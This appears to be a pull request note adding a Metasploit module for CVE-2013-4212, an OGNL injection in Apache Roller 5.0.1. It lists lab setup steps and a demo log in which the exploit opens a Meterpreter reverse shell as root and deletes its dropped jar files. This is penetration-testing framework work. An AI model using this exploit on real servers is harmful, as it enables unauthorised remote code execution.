Add module for CVE-2013-4212

* Verification:

- [x] Install Apache Tomcat 7 (tested over Ubuntu 10.04, should be multi platform)
- [x] Deploy Apache Roller 5.0.1 downloadable from: http://mirror.cogentco.com/pub/apache/roller/roller-5/v5.0.1/bin/roller-weblogger-5.0.1-for-tomcat.tar.gz
- [x] Run the metasploit module like on the DEMO, you should enjoy a session:

* Demo:

```
msf exploit(apache_roller_ognl_injection) > check
[+] The target is vulnerable.
msf exploit(apache_roller_ognl_injection) > rexploit
[*] Reloading module...

[*] Started reverse handler on 10.6.0.165:4444 
[*] Checking injection...
[+] Target looks vulnerable, exploiting...
[*] Sending stage (30355 bytes) to 10.6.0.165
[*] Meterpreter session 6 opened (10.6.0.165:4444 -> 10.6.0.165:51421) at 2013-11-19 10:24:46 -0600
[+] Deleted mXod.jarnull
[+] Deleted mXod.jarhrL

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer    : ubuntu
OS          : Linux 2.6.32-38-generic (i386)
Meterpreter : java/java
meterpreter > pwd
/opt/apache-tomcat-7.0.47
emeterpreter > exit
[*] Shutting down Meterpreter...
```